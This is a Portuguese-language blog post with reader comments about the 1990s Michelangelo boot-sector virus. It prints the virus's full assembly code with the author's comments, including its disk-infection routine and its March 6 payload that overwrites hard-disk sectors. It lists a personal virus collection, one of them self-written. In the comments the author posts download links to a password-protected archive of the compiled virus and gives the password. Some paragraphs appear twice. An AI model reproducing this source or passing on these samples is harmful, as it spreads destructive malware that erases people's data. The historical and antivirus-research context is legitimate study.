Vírus Michelangelo
Durante a pesquisa que fiz para escrever o artigo sobre o Stuxnet, lembrei de um vírus que, na sua época (anos 90) fez muito "sucesso": o Michelangelo.
Ele contaminava os computadores através do setor de boot de um disquete infectado. E se, por acaso, você estivesse num computador contaminado e fosse dia 6 de março (aniversário de nascimento de Michelangelo), era melhor torcer para seu backup estar em dia.
Para quem gosta do assunto, aqui eu tenho a tradução de um artigo por Laércio Civali (São Paulo, Maio, 15, 1993.), da PC Magazine Vol.12, #6, March 30, 1993, page 311, do original: Viruses: How They Work and How to Avoid Them, by Jeff Prosise. O artigo, apesar de ter quase 20 anos, mostra com detalhes como o vírus se propaga. Como já devem imaginar, é bem técnico.
Agora vem a parte boa: o código (assembler) comentado (por mim) do vírus.
Pensei em colocar uma cópia do vírus para download, mas acho que não seria muito bem visto. Enfim, se alguém quiser é só avisar que envio o arquivo com o vírus. Aliás, tenho alguns vírus armazenados em arquivo, uma verdadeira incubadora:
Ele contaminava os computadores através do setor de boot de um disquete infectado. E se, por acaso, você estivesse num computador contaminado e fosse dia 6 de março (aniversário de nascimento de Michelangelo), era melhor torcer para seu backup estar em dia.
Para quem gosta do assunto, aqui eu tenho a tradução de um artigo por Laércio Civali (São Paulo, Maio, 15, 1993.), da PC Magazine Vol.12, #6, March 30, 1993, page 311, do original: Viruses: How They Work and How to Avoid Them, by Jeff Prosise. O artigo, apesar de ter quase 20 anos, mostra com detalhes como o vírus se propaga. Como já devem imaginar, é bem técnico.
Agora vem a parte boa: o código (assembler) comentado (por mim) do vírus.
JMP Contamina Principal: CMC ADD [BX+SI+029F],AL ADD AX,[BX+SI] Loop1: POP DI MOV AX,[F000] PUSH DS PUSH AX OR DL,DL JNZ 012F XOR AX,AX MOV DS,AX TEST BYTE PTR [043F],01 ; algum drive esta ligado? JNZ Loop2 ; nao POP AX POP DS PUSHF CS: CALL Loop1 PUSHF CALL Salva POPF RETF 0002 Loop2: POP AX POP DS CS: JMP Loop1 Salva: PUSH AX PUSH BX PUSH CX PUSH DX PUSH DS PUSH ES PUSH SI PUSH DI PUSH CS POP DS PUSH CS POP ES MOV SI,0004 PreparaSetor1: MOV AX,0201 MOV BX,0200 MOV CX,0001 XOR DX,DX PUSHF CALL Loop1 JNB Label1 XOR AX,AX PUSHF CALL Loop1 DEC SI JNZ PreparaSetor1 JMP Restaura Label1: XOR SI,SI CLD LODSW CMP AX,[BX] JNZ Label2 LODSW CMP AX,[BX+02] JZ Restaura Label2: MOV AX,0301 MOV DH,01 MOV CL,03 CMP BYTE PTR [BX+15],FD JZ Label3 MOV CL,0E Label3: MOV [0008],CX PUSHF CALL Loop1 JB Restaura MOV SI,03BE MOV DI,01BE MOV CX,0021 CLD REPZ MOVSW MOV AX,0301 XOR BX,BX MOV CX,0001 XOR DX,DX PUSHF CALL Loop1 Restaura: POP DI POP SI POP ES POP DS POP DX POP CX POP BX POP AX RET Contamina: XOR AX,AX MOV DS,AX CLI MOV SS,AX MOV AX,7C00 MOV SP,AX STI PUSH DS PUSH AX MOV AX,[004C] MOV [7C0A],AX MOV AX,[004E] MOV [7C0C],AX MOV AX,[0413] ; tamanho da memoria DEC AX ; subtrai 2K DEC AX MOV [0413],AX MOV CL,06 SHL AX,CL MOV ES,AX MOV [7C05],AX MOV AX,000E MOV [004C],AX MOV [004E],ES MOV CX,01BE MOV SI,7C00 XOR DI,DI CLD REPZ MOVSB CS: JMP Principal Label4: XOR AX,AX MOV ES,AX INT 13 PUSH CS POP DS MOV AX,0201 MOV BX,7C00 MOV CX,[0008] CMP CX,+07 JNZ Label5 MOV DX,0080 INT 13 JMP Aniversario Label5: MOV CX,[0008] MOV DX,0100 INT 13 JB Aniversario PUSH CS POP ES MOV AX,0201 MOV BX,0200 MOV CX,0001 MOV DX,0080 INT 13 JB Aniversario XOR SI,SI CLD LODSW CMP AX,[BX] JNZ Label10 LODSW CMP AX,[BX+02] JNZ Label10 ; verifica se a data e 06 de marco Aniversario: XOR CX,CX MOV AH,04 INT 1A CMP DX,0306 JZ Label6 RETF ; contamina o drive C: Label6: XOR DX,DX MOV CX,0001 ; trilha 0, setor 1 (RMB) Label7: MOV AX,0309 ; escrever 9 setores MOV SI,[0008] CMP SI,+03 JZ Label8 MOV AL,0E CMP SI,+0E JZ Label8 MOV DL,80 ; drive C: MOV BYTE PTR [0007],04 MOV AL,11 ; 17 setores Label8: MOV BX,5000 ; endereco do buffer MOV ES,BX INT 13 JNB Label9 XOR AH,AH INT 13 Label9: INC DH CMP DH,[0007] ; escreveu nos 7 primeiros setores? JB Label7 ; nao, continua XOR DH,DH INC CH ; incrementa a trilha JMP Label7 Label10: MOV CX,0007 MOV [0008],CX MOV AX,0301 MOV DX,0080 INT 13 JB Aniversario MOV SI,03BE MOV DI,01BE MOV CX,0021 REPZ MOVSW MOV AX,0301 XOR BX,BX INC CL INT 13 JMP Aniversario
Pensei em colocar uma cópia do vírus para download, mas acho que não seria muito bem visto. Enfim, se alguém quiser é só avisar que envio o arquivo com o vírus. Aliás, tenho alguns vírus armazenados em arquivo, uma verdadeira incubadora:
- ANTICMOS
- ANTIEXE
- Backdoor-G2.ldr (Pbrush.exe)
- Butthead (de minha própria autoria)
- Bye
- Daniela
- Leandro & Kelly
- Lizard
- MDMA
- Pretty Park - (Files32.vxd)
- QUOX
- Unshammed
- VLAD
- WAZZU
- win32mtx
- wininit
Pelo que lembro, alguns são arquivos contaminados, mas a maioria é código do vírus extraído direto do setor de boot ou do arquivo contaminado.
Alguns colecionam selos, outros tampinhas de garrafas, eu coleciono vírus! Na realidade eu tenho essa coleção de vírus pois estava desenvolvendo um antivírus e precisava analisar o código para encontrar a assinatura de cada um deles. Mas não deu para competir com a McAfee e o Norton, que eram os melhores (únicos?) antivírus na época. Se bem que o meu antivírus identificava todos esses aí...
Alguns colecionam selos, outros tampinhas de garrafas, eu coleciono vírus! Na realidade eu tenho essa coleção de vírus pois estava desenvolvendo um antivírus e precisava analisar o código para encontrar a assinatura de cada um deles. Mas não deu para competir com a McAfee e o Norton, que eram os melhores (únicos?) antivírus na época. Se bem que o meu antivírus identificava todos esses aí...
Gostaria que o senhor me enviasse pois sou um pesquisador nesse ramo e gostaria de entender melhor esse código de máquina
ResponderExcluirOlá Diego. Vou verificar se ainda tenho o código nos meus backups e lhe dou um retorno.
ExcluirVeja se consegue baixar: https://sites.google.com/site/alexsetta/blog/mich.rar?attredirects=0&d=1
ExcluirAh sim, está com senha: virus
ExcluirMe ajudou tbm... obg
ExcluirDisponha!
ExcluirOlá, você poderia disponibilizar o arquivo compilado novamente?
ResponderExcluirVou procurar nos meus backups e disponibilizar novamente.
ExcluirColoquei aqui: https://mega.nz/file/qUA1lI6C#ui4XSm7_0gudjLSzkObEIguNnmQT-KV2EdcN7fL7gVM
ExcluirA senha do arquivo é "virus", sem aspas. Use com cuidado. O código é bem antigo mas nesse arquivo tem coisas interessantes.
Obrigado, consegui baixar e me surpreendi ao ver o Leandro&Kelly, faz tempo que não vejo esse nome, gosto muito de malware oldschool é muito bom poder rever e estudar os mesmos novamente depois de todos esses anos.
ExcluirEu encontrei o seu blog por uma pesquisa no google e gostei muito dele, ontem eu passei a noite dando olhada em alguns artigos e quando fui ver já era quase 5 da manhã rsrsrs, bom obrigado novamente por disponibilizar o arquivo e obrigado por manter esse blog, visto que cada vez mais blogs e fóruns estão ficando escassos na internet